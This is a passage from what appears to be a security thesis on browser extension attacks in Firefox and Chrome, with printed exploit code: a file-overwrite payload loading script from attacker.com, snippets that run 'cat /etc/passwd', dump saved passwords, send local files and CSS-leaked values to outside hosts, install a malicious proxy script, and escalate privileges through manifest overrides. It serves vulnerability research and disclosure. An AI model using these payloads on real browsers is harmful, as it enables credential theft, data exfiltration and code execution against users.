modifications. In order to cause more subtle harm, the extension system can be incorporated in to the attack.
Listing 6.24 shows an exploit disabling the HTTPS Everywhere Firefox add-on20. The first thing to note is the
use of an extension URL. If a mechanism can write to a file URI in Firefox, there is a chance that this might
work for chrome and resource URIs, too. In this case, any extension having a unpack value set to true
in its install.rdf can be written to. Other values for unpack mean that the add-on remains a ZIP file
when stored on disk and the browser will crash when attempting to write to its location. After overwriting
one of the extension’s files and restarting the browser, the signature verification fails so that the add-on is
disabled by Firefox itself. In contrast to other attacks which rely on vulnerabilities in the add-ons themselves,
this technique can be used against all unpacked extensions.

1 <?php header("Content-Security-Policy: script-src 'nonce-</script>'; "
2 . "report-uri chrome://wot/content/rw/ratingwindow.html"); ?>
3 <script><script src=http://attacker.com/></script>

Listing 6.25: Overwriting a file of the WOT Safe Browsing Tool Firefox extension

20addons.mozilla.org. HTTPS Everywhere. URL: https://addons.mozilla.org/En-us/firefox/addon/https-
everywhere/.

https://addons.mozilla.org/En-us/firefox/addon/https-everywhere/
https://addons.mozilla.org/En-us/firefox/addon/https-everywhere/
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1 {"csp-report":{"blocked-uri":"self","document-uri":"http://localhost:5000/poc/ex c
ploit-cve/","line-number":1,"original-policy":"script-src 'nonce-</script>';
report-uri file:///tmp/foo.html","referrer":"","script-sample":"<script
src=http://attacker.com/>","source-file":"http://localhost:5000/poc/exploit- c
cve/","violated-directive":"script-src
'nonce-</script>'"}}

↪→

↪→

↪→

↪→

↪→

Listing 6.26: Resulting report in ratingwindow.html

The last case study examines a way to obtain full code execution using this arbitrary file write bug. It targets
the WOT Safe Browsing Tool Firefox extension21 because it automatically includes HTML files, allowing for
an easy way to trigger the payload. Only victims who disabled the signing mechanism of Firefox are affected
by this exemplary exploit, as it overwrites files of the extension. However, this scenario is not entirely absurd,
since there are plenty of reasons for having no signing including but not limited to old Firefox versions
(lacking the signing ability), development profiles and allowing third party add-ons.

In Listing 6.25 the payload is prepared and written to one of the add-on’s resources. Due to the extension’s
implementation, the file is rendered as HTML in the browser’s UI. While the payload is embedded in a JSON
data structure, the HTML parser will only respect the values enclosed in angle brackets. Thus, an adversary
can emplace a payload in the report which is then automatically executed on every browser start. In order to
allow payloads of arbitrary length, an additional trick has to be used: By using inline script tags, an adversary
can force the inclusion of the script-sample field in the JSON report. However, its value is limited to
40 characters which is too little for an actual attack. In order to overcome this hurdle, a script tag can be
opened inside the script-sample value and closed in the CSP header. As can be seen from the report in
Listing 6.26, this yields markup which is accepted by Firefox’ HTML parser. Since the src attribute is set,
all text inside the script tag is ignored and code is loaded from an external domain.

In summary, an adversary can, given the correct circumstances, extend an arbitrary file write in to a code
injection. As the context the injection targets can be freely chosen, an adversary most likely gains full chrome
privileges.

21addons.mozilla.org. WOT Safe Browsing Tool. URL: https://addons.mozilla.org/de/firefox/addon/wot-
safe-browsing-tool/.

https://addons.mozilla.org/de/firefox/addon/wot-safe-browsing-tool/
https://addons.mozilla.org/de/firefox/addon/wot-safe-browsing-tool/


7. Attacks from Extensions

This Chapter takes a closer look at all payloads executed in extension contexts. After successfully attacking,
hijacking or planting an extension on a victim’s host machine, an adversary may not always be able to directly
inflict harm. Particularly low privilege contexts, such as themes, regularly lack the permissions to access
powerful APIs. Therefore, the impact of many vulnerabilities cannot be easily decided without considering
the follow-up attacks possible from the new vantage point. Finding attacks from extensions does not only
help estimating the overall impact but also points to problems in the security architecture of the browser. For
example, users and developers might be surprised when learning that installed language packages can actually
execute operating system commands in Firefox (cf. Section 7.1.2). This mismatch between expectation
and reality is dangerous because it can be abused in social engineering attempts, luring users into installing
malicious add-ons. In this case, a more rigorous security architecture can prevent such attacks.

As attacks from extensions are extremely specific to a browser, this Chapter is divided in to two parts.
First, Section 7.1 deals with the various attack techniques which can be mounted from Firefox add-ons. Then,
Section 7.2 examines the intricacies of Chrome’s extension system in order to derive attacks.

7.1. Mozilla Firefox

Code execution in a regular Firefox extension directly leads to command execution on an operating system
level (cf. Section 7.1.1). Thus, Mozilla has taken precautions to at least avoid malicious add-ons from being
installed by unsuspecting users. Most importantly, recent Firefox versions require add-ons to be signed by
Mozilla (cf. Section 4.2.1). In order to receive a signature, an add-on has to be uploaded to AMO and undergo
a review. As this severely limits the possible malicious actions, attackers will eventually have to shift focus
to one of the multiple less privileged extension types not yet requiring a signature. The following Sections
propose various attacks, showing that many malicious goals can still be achieved despite being performed
from low privilege extensions.

7.1.1. Privileged Attacks

The worst possible case for a victim is a payload running in a privileged scope. Most of the XPCOM code
documented by Liverani and Freeman still is fully functional [LF10]. Hence, this Section will focus on
providing alternative payloads, using snippets from the Add-on SDK. In comparison to XPCOM, the API is
more tailored to the needs of web developers and thus easier to use. However, the payloads are not limited to
the exploitation of Add-on SDK extensions, but can be adapted to both legacy and restartless add-ons, too.
The CommonJS module can be imported and will provide the necessary require function to all legacy
contexts. In general, the code in Listing 7.1 has to be prepended to all payloads in this Section to make them
work outside of Add-on SDK extensions.

1 const require_path = 'resource://gre/modules/commonjs/toolkit/require.js';
2 const { require } = Components.utils.import(require_path, {});

Listing 7.1: Import the CommonJS require function in to a legacy context
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Command Execution

1 const child_process = require('sdk/system/child_process');
2 var cmd = child_process.exec('cat /etc/passwd');
3 cmd.stdout.on('data', output => console.log(output));

Listing 7.2: Command Execution using child_process

The Add-on SDK features the child_process module. It is able to create new processes on an operating
system level. While there are execve-like functions (e.g. spawn), most adversaries will want to use
something similar to C’s system. When called, the command will be passed to the operating system’s
shell, eliminating the need to find the correct paths to all binaries. The SDK offers exec which behaves
exactly like this. Listing 7.2 shows usage of this function on a Linux system. However, Windows command
execution is analogous. In contrast to Node’s child_process, there is no synchronous variant of exec,
so an adversary always has to work with callbacks.

Password Steal

1 const passwords = require('sdk/passwords');
2 passwords.search({
3 onComplete: credentials => credentials.forEach(cred => console.log(cred))
4 });

Listing 7.3: Stealing passwords using the passwords API

Firefox offers the option to remember login form credentials. After being encrypted, the data is saved in an
SQLite database. Users further have the option of using a master password for the encryption. Thus, even
with full command execution, it is tedious to obtain the credentials in an attack scenario. Luckily, the Add-on
SDK offers an API to directly query and manipulate the stored data. Listing 7.3 loads all saved credentials
and outputs them on the browser’s console. An adversary could easily adapt the code to leak the data to a
malicious website.

File Operations

1 const fileIO = require('sdk/io/file');
2 var file = fileIO.open('/path/to/file', 'wb');
3 file.write(atob('f0VMRgI...AAAAAA'));
4 file.close();

Listing 7.4: Writing a binary file to the file system

In theory, command execution should be enough to read and write arbitrary files on the victim’s system.
However, in order to stay undetected, an adversary can instruct the Firefox process itself to perform these
actions. All file system operations are available in the SDK’s file module. In addition to file manipulation,
it allows enumerating the resources in a directory. Listing 7.4 demonstrates writing a binary file to disk. The
data is encoded in Base64 in order to allow easy inclusion of raw bytes in a JavaScript string. Writing such a
file is a possible way of persistance beyond the hijacked or malicious add-on from which it originated. On
Linux, an adversary only has to mark the file as executable and can then proceed to execute it.
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7.1.2. Privilege Escalation

Many add-on types are not allowed to perform the privileged actions presented in Section 7.1.1. Privilege
escalation attacks either use browser bugs or design flaws to elevate their privileges and access these APIs
anyway. This Section features two ways to elevate privileges from localization packages. At least one of the
following attacks works by design and will, thus, remain fully functional until the legacy extension system is
revised. In response to the bug reports, Mozilla has speed up the process of making signatures in locale packs
mandatory1.

Overriding Chrome URIs

Normally, localization packages can only place files into a low privilege chrome origin. Surprisingly, however,
they are able to override high privilege chrome URIs with their own. Hence, formerly restricted code becomes
part of a powerful origin and is able to access all internal APIs.

1 locale alias extname files/
2 override chrome://global/content/config.xul chrome://alias/locale/privesc.html

Listing 7.5: chrome.manifest overriding a privileged URI with a formerly unprivileged file

The first line of Listing 7.5 declares a low privilege origin which contains files from the localization
package itself. The second line overrides the internal URI of the configuration manager with a file from
the previously declared origin. Every time the victim visits the about:config page of his browser, the
adversary’s code will run. Any of the privileged attacks shown in Section 7.1.1 can be used as the actual
payload. Naturally, the technique can be extended to other internal pages, leaving little room for a victim to
evade or even notice the attack.

In summary, an adversary must perform the following steps to use this vulnerability:

1. Prepare a malicious HTML or XHTML file, addressable by an unprivileged locale chrome URI.

2. Add a line to the chrome.manifest file, declaring the unprivileged URI to override a privileged
one.

3. As any privileged URI can be overridden, the adversary only has to wait for the victim to trigger the
payload.

Even though this is a blatant privilege escalation, Mozilla has decided not to patch the issue. Instead, locale
packs now require signatures, as mentioned in the introduction to this attack. This allows reviewers to detect
malicious add-ons attempting to use this technique.

DTD Content Injection

Each string in the Firefox user interface markup is represented by an entity. Before rendering, the engine
replaces these entities by a value defined in one of the current localization package’s DTD files. This
replacement is allowed to contain markup which is able to inject scripts into other contexts. This attack
can be considered to work by design and thus for a long time. However, despite these circumstances it still
is a privilege escalation since an attacker pivots from low privileges (chrome://alias/locale/) to

1Nicolas Golubovic. Bug 1244131 – Locale packs can escalate privileges via chrome URI override. Jan. 2016. URL: https:
//bugzilla.mozilla.org/show_bug.cgi?id=1244131.

chrome://alias/locale/
https://bugzilla.mozilla.org/show_bug.cgi?id=1244131
https://bugzilla.mozilla.org/show_bug.cgi?id=1244131
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high privileges (chrome://alias/content/). Furthermore, at the time of this writing, localization
packages are not protected by a signature, allowing adversaries to use it for their purposes.

1 locale global en-US global/
2 locale global de global/

Listing 7.6: chrome.manifest declaring DTDs for two languages

1 <!ENTITY aboutAbout.title "About About">
2 <!ENTITY aboutAbout.note "<script>/* privileged code */</script>">

Listing 7.7: Injection attack using an entity from aboutAbout.dtd

In order to trigger the attack, the attacker has to register a locale origin with the victim’s browser
language. Listing 7.6 shows that multiple (or even all possible) languages can be served from one package,
making it easier to exploit users of other countries. They are defined using two-letter codes with a possible
addition of a region (e.g. en-US). The browser bases its decision on which language to use on two
factors: If the intl.locale.matchOS setting is true, the system’s configuration is used. Otherwise, the
value of general.useragent.locale defines the language of the browser interface. Both manifest
lines redeclare the locale of the global origin. It contains internal pages like about:config and
about:about. The latter was chosen for demonstration purposes in Listing 7.7 because it only needs two
entities and thus is shorter. A potential payload can be embedded in to the second entity. All privileged APIs
introduced in Section 7.1.1 can be used.

Recapitulatory, an adversary has to do perform the following actions to prepare the attack:

1. Based on an existing localization package, find a DTD file which translates one of the core GUI
elements. This will ensure that the victim accidentally triggers the adversary’s payload.

2. Insert the payload into one of the DTD’s entities.

3. Add all possible language codes to the chrome.manifest of the package to maximize the chances
of exploiting international users.

7.1.3. Misdirection

While some add-ons are not able to execute privileged actions, the victim always is. Thus, careful misdirection
might lead to the desired goal of an adversary. Techniques presented in this Section will be exclusively of
visual nature.

chrome://alias/content/
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Security Indicator Re-Skin

Figure 7.1.: Regular Firefox TLS warning Figure 7.2.: Re-Skinned TLS warning

A core functionality of skins is controlling the appearance of the browser GUI. Especially themes have this
seemingly innocuous capability which leads to huge security problems when applied to dialogs, browser
pop-ups and warnings. As many users are trained to observe these indicators to determine the safety of
an action, changing their appearance can trick victims into a false sense of security. For instance, Firefox
displays a warning page when encountering an invalid certificate. While a skin cannot completely hide the
first warning page, it can make the page itself look extremely harmless, or even like a part of the visited
website. Figure 7.1 shows the regular Transport Layer Security (TLS) warning issued on a bogus certificate.
In contrast, Figure 7.2 may be mistaken as part of the website by a user. The only remaining indicator is the
title bar of the browser as its icon and description cannot be changed. This attack can be applied to a range of
other use cases, like, for example, hiding the malicious add-on from the browser’s overview page.

1 .anyclass {
2 font-size: 0; /* make original text invisible */
3 }
4 .anyclass::after {
5 content: "New text here"; /* add new text to the element */
6 font-size: 12px;
7 }

Listing 7.8: Technique to change text on a button or other GUI element

In summary, many security indicators, dialogs and internal pages can be changed in their appearance.
An important drawback of this technique is that it does not change the actual XUL or XHTML markup of
the GUI. However, due to the power of CSS, this is not a severe limitation. Existing text and images can
be hidden and new content can be added to pages using after and before pseudo classes as shown in
Listing 7.8.

Clickjacking Internal Pages

While themes do not enjoy full chrome privileges, they still are able to embed internal browser pages
in a frame – a capability regular web content lacks (cf. Section 5.3.1). In theory, the extension content
types are isolated from each other. A skin origin may not access locale files and vice versa. Even
more important, no other type is able to access content origins. However, as long as the chrome URL’s
<alias> (chrome://<alias>/*/*) is the same, framing is allowed. In order to prevent framing

chrome://<alias>/*/*
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attacks on websites, the X-Frame-Options HTTP header was introduced. However, as chrome URIs
directly map to files, no headers are involved. Hence, internal pages are unable to protect themselves
effectively. An attacker can exploit this fact and trick victims into executing unwanted actions.

Figure 7.3.: Regular about:config iframe Figure 7.4.: Covered about:config iframe

The following example describes a Clickjacking attack against about:config, or its actual URL
chrome://global/content/config.xul. Since it allows users to change possibly dangerous
settings of Firefox, it is a high value target inside the browser’s chrome context. Three properties of the
internal page are important for this attack: First, a search box on about:config always steals focus after
being loaded – even when framed. Second, typing into this search box interactively changes the displayed
list of configuration values below it. Finally, a double click on a boolean value is sufficient to toggle it. For
demonstration purposes, the xpinstall.signatures.required setting of Firefox version 44 has
been selected. It toggles the browser’s signature checks for extensions and is enabled by default. As the
search box performs substring matches, the attacker can choose a innocuous-looking part of the setting’s key.
For the previously chosen setting, res.r is such a unique substring, as shown in Figure 7.3. Not using the
full name will prevent alerting the victim when it is prompted to type in a phrase. Various tricks can be used
to ask for the substring, like, for example, a fake captcha or a game. This attack uses the latter and asks the
user to quickly type in the letters that appear on the screen. After finishing, the victim is kindly requested to
double click a button on the page to get a performance review. Figure 7.4 depicts the last step. Unsurprisingly,
the game is fake and just simulates correct key presses after a while. During the simulation, the focus is in a
one pixel wide about:config frame, where the user types the actual letters required to select the correct
setting. After the game ends, this frame is moved and resized in preparation of the last attack step. Double
clicking the alleged button will toggle the setting.

While the attack itself is neither creative nor very convincing, it shows that an actual working Clickjacking
attack is possible from a theme. However, there is a severe limitation to this attack: Since web content is not
able to redirect or directly link to chrome URIs, the victim has to enter or paste a URL into the address bar by
himself. Alternatively, an adversary may use another bug to open the attack page from unprivileged resources.

7.1.4. Data Leaks

When full privilege escalation cannot be achieved, an adversary can use the privileges an add-on was given by
design in order to leak data. As Firefox makes heavy use of powerful data formats for unprivileged extensions
like themes and localization packages, there are multiple possibilities of achieving malicious goals.

File System Inclusion

If files from the victim’s host can be read by JavaScript, leaking them to third parties is trivial in most cases.
For this reason, regular web content as well as low privilege extensions like themes have no access to the
file system. A trick is required to circumvent this limitation: Instead of reading files directly, the root of the
file system can be defined as part of the extension’s package. This indirection allows access to all files using

chrome://global/content/config.xul
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internal URIs (e.g. chrome://alias/content_type/etc/passwd) and, thus, less privileged code.
There is, however, one requirement: An attacker-controlled resource must be able to access this internal URI
in order to leak information.

A regular extension could declare the files to be directly accessible by web content but themes lack this
capability. Another hurdle is a limitation of manifest files: Any (alias, content type) tuple must be unique,
hence preventing an adversary from adding a resource to the origin leaking the root file system. There are at
least two ways of overcoming this problem: First, localization packages, in contrast to themes, can declare a
second content type in their manifest file. Secondly, an attacker might be able to force the victim’s browser in
to downloading an HTML file, which can then be referenced with a high probability. Both variants will be
presented more thoroughly in the following examples.

1 locale rootfs addon-name /
2 skin rootfs addon-name internal/

Listing 7.9: Variant 1: Declare two content types with same alias (rootfs) in chrome.manifest

1 <script>
2 function request(url, onload) {
3 var xhr = new XMLHttpRequest();
4 xhr.open('GET', url);
5 xhr.onload = () => onload(xhr.responseText);
6 xhr.send();
7 }
8 var WEB_URI = 'https://iceqll.eu/?';
9 request('../locale/etc/passwd',

10 content => request(WEB_URI + encodeURIComponent(content)));
11 </script>

Listing 7.10: Code loading resources from the file system root and leaking them to the web

Listing 7.9 shows a manifest file declaring two URIs. chrome://rootfs/locale/ points at the
root of the file system and chrome://rootfs/skin/ at a directory of the localization package itself.
The actual code which will leak files to the web is part of the latter URI but has access to the former since
both have a rootfs chrome origin. Thus, it can simply load files and send them to arbitrary URLs using
the XMLHttpRequest API, as shown in Listing 7.10. URIs pointing at directories will yield listings of
their content, easing the task of finding interesting files. However, before the attack can be carried out,
the adversary has to lure the victim to the URI of the extracting code. This is complicated by browser
policies disallowing the use of most chrome URIs from web content. Thus, an attacker either needs a second
vulnerability or social engineering to trick the user into pasting a link in to the address bar.

Arbitrary file extraction can be performed without declaring two content types in the extension’s manifest
file, albeit with lower probability of success. However, this makes it possible to conduct this attack from
themes, giving the adversary more options for achieving malign goals. After urging the victim to install
the extension, a website can force a download of a HTML file. As the extension leaks the whole file
system into the same URI context, the downloaded file is part of the correct origin. An adversary only
has to find the correct path to the file and, again, lure the victim into opening this URL. In most cases
/proc/self/cwd/Downloads/file.html will point at the correct file on Linux systems. The proc
file system allows access to the current working directory of the Firefox process, which will almost always
be the victim’s home directory. Furthermore, Downloads is the standard download path for unmodified
Firefox profiles. The file itself will contain exactly the same code as the original attack uses (see Listing 7.10).

chrome://alias/content_type/etc/passwd
chrome://rootfs/locale/
chrome://rootfs/skin/
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The following steps are required to reproduce the attack from a theme:

1. Prepare a theme which declares the root of the file system as part of an arbitrary chrome URI.

2. Foist the theme on a victim and force a HTML file download (file.html) from the same website.

3. Use a second bug or trick a user into opening chrome://ALIAS/skin/proc/self/cwd/
Downloads/file.html to trigger the attack with a high chance of success.

CSS Attribute Extraction

1 input[value^="secret"] {
2 background: url('http://evil.com/leak/secret');
3 }

Listing 7.11: Simple CSS attribute extraction attack

CSS is a powerful language, giving adversaries many options to extract information. For example, a
background image can be loaded from an external domain and leak data in the process. As there are no
restrictions imposed on source URLs in skin packages, these attacks are directly applicable to themes, too.
The CSS attribute extraction attack uses selectors to infer information about the attribute of a DOM element.
When this information is gathered, it can be extracted by issuing a request using the aforementioned technique.
Listing 7.11 shows a simple example, matching an input field having a value starting with secret. If this
condition applies, a request will be sent to an attacker-controlled domain, leaking the information. By using
multiple selectors even longer strings can be effectively bruteforced2.

1 .addon[status="installed"][remote="false"][name="Adblock Plus"] {
2 background: url('http://leak.ext/adblock-plus');
3 }
4 .addon[status="installed"][remote="false"][name="Video DownloadHelper"] {
5 background: url('http://leak.ext/video-downloadhelper');
6 }
7 .addon[status="installed"][remote="false"][name="Firebug"] {
8 background: url('http://leak.ext/firebug');
9 }

Listing 7.12: Fingerprint the top three Firefox extensions from within a theme

This attack can target every attribute found in one of the internal pages of the browser UI. The following
exemplary attack aims to extract the currently used extensions of the victim. Therefore, a list of popular
extensions has been compiled from AMO. By using selectors checking for the names of the add-ons, the
CSS parser sequentially tests for their existence. The code in Listing 7.12 targets the top three extensions
and has to be placed in to the mozapps/extensions/extensions.css file of a theme. While the
status attribute can be used to distinguish installed add-ons from search results in the browser UI, the
remote attribute is required to test if the extensions is really installed locally. Finally, the name is used to
find the correct add-on for the fingerprinting attack.

2Eduardo Vela Nava. CSS Attribute Reader Proof Of Concept. URL: http://eaea.sirdarckcat.net/cssar/v2/.

chrome://ALIAS/skin/proc/self/cwd/Downloads/file.html
chrome://ALIAS/skin/proc/self/cwd/Downloads/file.html
http://eaea.sirdarckcat.net/cssar/v2/
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7.2. Google Chrome

In contrast to Firefox, Chrome features very few distinct extension types. Moreover, extensions and browser
UI are isolated from each other, further reducing the possible attacks. Thus, this Section first focuses on
describing common payloads for successful attacks (cf. Section 7.2.1) and then examines privilege escalations
from low privilege contexts (cf. Section 7.2.2).

7.2.1. Privileged Attacks

A privileged context in Chrome is not a unified concept. Each extension declares its required permissions
in a manifest file. Furthermore, it is not possible to retroactively add more permissions after the extension
has been installed, so that a payload has to work around the given limitations. In contrast to Firefox, there
are no APIs allowing unrestricted command execution or access to the file system from JavaScript, further
reducing the possibilities of an adversary. Therefore, the following Sections focus on the most useful APIs for
attackers. APIs which can only be used on one platform (e.g. ChromeOS) are excluded from the following
list.

One extremely important concept found in most privileged APIs is the need for the correct host permissions
(cf. Section 4.4.2). If an extension accesses an origin, it needs to have the correct permission. However, many
extensions have extremely broad privileges like http://*/* and https://*/*.

tabs

1 function inject(tab) {
2 if (!tab.url.startsWith('chrome://')) {
3 chrome.tabs.executeScript(tab.id, {
4 code: 'document.body.style.background="red"',
5 allFrames: true, // inject into all frames
6 });
7 }
8 }
9 chrome.tabs.onCreated.addListener(inject);

10 chrome.tabs.onUpdated.addListener((tabId, changeInfo, tab) => inject(tab));
11 chrome.tabs.query({}, tabs => tabs.forEach(inject)); // process active tabs

Listing 7.13: Using the chrome.tabs API to inject scripts in all current and future tabs

Chrome’s tabs API can control all currently open tabs of a victim, given the correct host permissions.
Similar to UXSS, this allows an adversary to execute scripts in all visited origins and, thus, has a tremendous
impact on the user’s security. Listing 7.13 shows a code snippet which injects a malicious script in to each tab.
It furthermore infects newly opened and recently navigated tabs in order to make most use of its privileges.

cookies

1 chrome.cookies.getAll({}, function(cookies) {
2 // leak cookies
3 });

Listing 7.14: Using the chrome.cookies API to read all accessible cookies

While Chrome does not allow reading stored passwords, an adversary is able to leak cookies. In general, this
means that an adversary is able to steal active login sessions from a victim. Two prerequisites have to be

http://*/*
https://*/*
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given in order to access the cookies associated with an origin: First, the cookies permission has to be set
in the manifest file and second, the targeted origin has to be included in the extension’s host permissions.

Other privileges can be used to read cookies, too: For example, the chrome.webRequest API allows
an extension to intercept and manipulate HTTP requests. As this allows reading the HTTP headers of current
requests, an adversary again has access to all associated cookies. However, this API is less powerful than
chrome.cookies since only currently active requests can be observed. Similar caveats apply to the
chrome.devtools.network API.

proxy

1 var config = {
2 mode: 'pac_script',
3 pacScript: {
4 url: 'https://attacker.com/pac.js',
5 mandatory: true
6 }
7 };
8 chrome.proxy.settings.set({value: config, scope: 'regular'}, function() {});

Listing 7.15: Using the chrome.proxy API to install a PAC script

The chrome.proxy API allows an extension to define a proxy for the browser without requiring the user’s
consent. This can be used to install malicious PAC scripts (cf. Section 6.2.2) and tunnel all of the victim’s
traffic through an attacker-controlled proxy. In summary, this API enables various ways to monitor and MitM
a victim. Listing 7.15 shows a code snippet installing a malicious PAC script. Setting mandatory to true
prevents a fall-back to direct connections. Notably, this API does not require any host permissions.

7.2.2. Privilege Escalation

If a low privilege context is able to obtain access to a high privilege context, the process of doing so is
considered a privilege escalation. While Chrome’s built-in extension types prove quite resistant, experimental
HTML5 APIs can create contexts which are susceptible to this type of attack.

Filesystem and Blob URIs

1 function writeFile(filename, content, fstype, onerror) {
2 // request 5MB of file system storage
3 window.webkitRequestFileSystem(fstype, 5 * 1024 * 1024, fs => {
4 fs.root.getFile(filename, {create: true}, fileEntry => {
5 fileEntry.createWriter(fileWriter => {
6 fileWriter.onwriteend = function(e) {
7 // file has been written, log its URL
8 console.log(fileEntry.toURL());
9 };

10 fileWriter.onerror = onerror;
11 const blob = new Blob([content], {type: 'text/plain'});
12 fileWriter.write(blob);
13 }, onerror);
14 }, onerror);
15 }, onerror);
16 }

Listing 7.16: Using the Filesystem API to create a file with an URL
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Chrome implements multiple experimental HTML5 specifications such as the Filesystem and File APIs. The
former was originally planned to offer a cross-browser way of handling files. However, it has been rejected
by other vendors3 which is why the only relict of its existence is a prefixed variant in Chrome. Listing 7.16
shows a JavaScript function which first requests access to a file system storage and then writes a file to it.
One of its parameters (fstype) declares the file system type. This type can either be PERSISTENT or
TEMPORARY, where the former requires the user’s consent, while the latter is almost always granted by the
browser. As can be seen from line eight, the written file can be addressed by an URL. Thus, it can be used as
a resource by many tags, such as iframes. Filesystem URLs are built in the following way:

1. Start with the filesystem keyword as the scheme.

2. Append the current origin (e.g. filesystem:http://example.org).

3. Based on the type of storage, add either persistent or temporary to the URL (e.g. filesystem:
http://example.org/temporary).

4. Finally, append the virtual path to the file (e.g. filesystem:http://example.org/temporary/
foo.ext). As the Filesystem API offers functions to create directories, this does not always have to
be the root.

1 var blob = new Blob(['HTML in <b>here</b>'], {type: 'text/html'});
2 var url = URL.createObjectURL(blob);

Listing 7.17: Using the File API to create a Blob with an URL

The File API has not yet been deprecated and is still in a working draft status. It defines blob URLs
which allow addressing temporary data. Listing 7.17 shows one way to load data in to a Blob and creating
an URL for it. The URLs are created in the following way:

1. Use blob as the scheme.

2. Append the full origin of the context the code runs in (e.g. blob:http://example.org).

3. Generate an Universally Unique IDentifier (UUID) and append it to the other parts (e.g. blob:http:
//example.org/9115d58c-bcda-ff47-86e5-083e9a215304)

1 // create an iframe
2 const iframe = document.createElement('iframe');
3 // point the iframe to the manifest file, as
4 // - it is always available
5 // - it has access to the chrome APIs of the extension
6 iframe.src = 'chrome-extension://<EXT_ID>/manifest.json';
7 // after the frame has been loaded, we can access it
8 iframe.onload = () => {
9 // access any of the chrome APIs of the extension

10 // e.g. iframe.contentWindow.chrome.tabs;
11 };
12 // append the iframe to the root DOM element
13 document.documentElement.appendChild(iframe);

Listing 7.18: Access chrome APIs of an extension from a filesystem or blob URI
3Eric Bidelman. Exploring the FileSystem APIs. July 2013. URL: http://www.html5rocks.com/en/tutorials/
file/filesystem/.

filesystem:http://example.org
filesystem:http://example.org/temporary
filesystem:http://example.org/temporary
filesystem:http://example.org/temporary/foo.ext
filesystem:http://example.org/temporary/foo.ext
blob:http://example.org
blob:http://example.org/9115d58c-bcda-ff47-86e5-083e9a215304
blob:http://example.org/9115d58c-bcda-ff47-86e5-083e9a215304
http://www.html5rocks.com/en/tutorials/file/filesystem/
http://www.html5rocks.com/en/tutorials/file/filesystem/
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Both filesystem and blob URLs create a new context: In case an extension builds such an URL,
the resource addressed by it does not immediately have all the permissions of its parent extension. By
specification, however, both URLs types are considered same-origin with their parent origin which is why
they can simply access it. In order to get hold of a privileged scope, they can frame an existing resource of
their parent context and access its contentWindow property, as shown in Listing 7.18. Since the default
CSP of extensions neither applies to filesystem nor to blob URLs, this creates a scope which is virtually
unprotected when a vulnerability occurs.



8. Conclusion

In two chapters, this thesis featured attacks on and from extensions for both Firefox and Chrome. Multiple
up-to-date techniques were described and illustrated by real-world case studies. In order to resurrect old
attacks, multiple browser bugs where used, all of which were found during the writing of this thesis. While
most are already fixed or will be patched soon, a few design flaws in Firefox’ extension system persist.
Additionally, this thesis introduced a test suite, that was used to identify various problems in the extension
systems of Firefox and Chrome. In future, it can be used to verify all described behavior and as a starting
point for prospective research.

This Chapter will first discuss both browser extension systems of Firefox and Chrome in Section 8.1. Then,
areas in need of further research are highlighted in Section 8.2. Finally, Section 8.3 concludes the thesis.

8.1. Discussion

When closely examining the attacks on Firefox and Chrome extensions, different strengths and weaknesses
can be seen: On the one hand, not a single bug allowing navigation to an extension URI could be found
in Firefox, whereas Chrome had multiple very simple flaws of that kind. On the other hand, a successful
exploitation leads to much more severe consequences in Firefox, as Chrome mitigates many attacks by using
a restrictive permission model. While a correlation between the two cannot be proven, the damage that
can be inflicted with an extension vulnerability in Firefox is most likely a major incentive to quickly fix
bugs that allow triggering these flaws. And although considering a stronger security model as a weakness is
counterintuitive, it effectively leads to a situation where more attacks can be performed against Chrome than
Firefox extensions at the time of this writing (cf. Chapter 6).

However, when attacking from extensions, the age of Mozilla’s legacy extension system is evident.
Multiple bad design decisions tremendously help adversaries: Giving extensions the same URL scheme as
the browser’s UI is one of them and using the first component of the URL’s path to determine the privileges
of a resource is another. Especially the latter is problematic since it declares multiple contexts in the same
origin. Thus, the boundary between the scopes is weak enough to allow multiple attacks such as framing
chrome://A/content/* from chrome://A/skin/* (cf. Section 7.1.3). In short, not leveraging the
well-tested Same-Origin Policy to isolate different security contexts is inelegant at best and leads to various
security problems. Most likely, attacks from malign extensions have not been part of the attacker model that
was formed when the extension system was designed.

Despite its age, not all parts of Mozilla’s legacy extension model are necessarily bad. In contrast to Chrome,
developers have tremendous flexibility to customize the browser. For instance, using the full capabilities of
CSS leads to much more diverse themes than the ones that can be found in the Chrome Web Store. This
power can be leveraged for security, too: The security benefits of the NoScript Security Suite has received
repeated praise by the information security community in the past. In a blog post from 2009, the author
furthermore explains that this functionality could not have been achieved with the extension APIs of Chrome1.
For the announced rework of the extension system2, Mozilla has to prove that it can sustain this high level of

1Giorgio Maone. Why Chrome has No NoScript. Dec. 2009. URL: https://hackademix.net/2009/12/10/why-
chrome-has-no-noscript/.

2MDN. WebExtensions. URL: https://developer.mozilla.org/en-US/Add-ons/WebExtensions.

chrome://A/content/*
chrome://A/skin/*
https://hackademix.net/2009/12/10/why-chrome-has-no-noscript/
https://hackademix.net/2009/12/10/why-chrome-has-no-noscript/
https://developer.mozilla.org/en-US/Add-ons/WebExtensions
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flexibility while approximating the security of Chrome’s model.
Chrome’s extension system, on the other hand, is very hard to attack from within due to strict privilege

separation and an elaborate permission model. Furthermore, since the manifest file has to declare the structure
of the extension, reviewing Chrome extensions requires much less knowledge of the actual source code
than Firefox add-ons. However, an unexpected weakness of the system can be found in experimental web
standards such as the HTML5 Filesystem API. In comparison to Mozilla, Google seems to be faster in adding
new APIs to the browser and slower in removing them after they have been deprecated. If an unsuspecting
developer uses one of these APIs, the security of the extension might be seriously hampered as is the case
with filesystem URIs which lack CSP protection.

8.2. Future Research

Attacks from extensions seem to be an overlooked research field. While there are many publicized attacks
on extensions and extension systems, few deal with escapes from lesser privileged extensions or sandboxes.
At least for Firefox, it seems highly likely that attacks will shift towards these types of extensions in order
to bypass the strict signing requirements. Additionally, attempting XCS attacks on Chrome extensions
eventually leads to very similar situations where an adversary might want to expand the given permissions.

While there is research about protecting the Firefox extension system from malware, there seems to be a
distinctive lack of work on securing the ecosystem while preserving the strong flexibility of the legacy models.
Keeping CSS as the main theming language but preventing any modification of critical GUI components
might be one of these areas leading to practical security benefits for many users.

8.3. Final Conclusion

Examining old attack techniques shows that a lot of previous work on the subject remains largely relevant.
While often browsers attempt to mitigate obvious attacks by making vulnerable behavior non-default, this
thesis shows that in most cases a simple browser bug suffices to resurrect them. Extension URLs exemplify this
dynamic: Modern browsers restrict access to these URLs in order to mitigate a wide range of vulnerabilities.
However, as Sections 6.1, 6.4 and 6.2.2 show, finding a bug that circumvents these restrictions re-enables
many of these attacks. And, as often in security, adversaries are at an asynchronous advantage: While only
one bug has to be found to circumvent a mitigation completely, a browser vendor has to fix all flaws that can
be used for this purpose.

